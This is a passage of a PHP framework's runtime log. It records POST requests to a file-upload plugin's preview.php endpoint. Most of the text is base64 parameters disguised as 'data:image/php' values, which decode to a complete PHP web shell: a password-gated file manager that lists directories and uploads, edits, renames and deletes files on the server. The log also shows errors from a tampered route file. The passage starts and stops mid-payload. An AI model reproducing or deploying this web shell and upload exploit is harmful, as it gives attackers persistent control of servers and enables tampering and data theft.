hLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:05+08:00 ] 119.42.146.234 POST 59.110.137.245/res/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.003170s] [吞吐率:315.46req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgP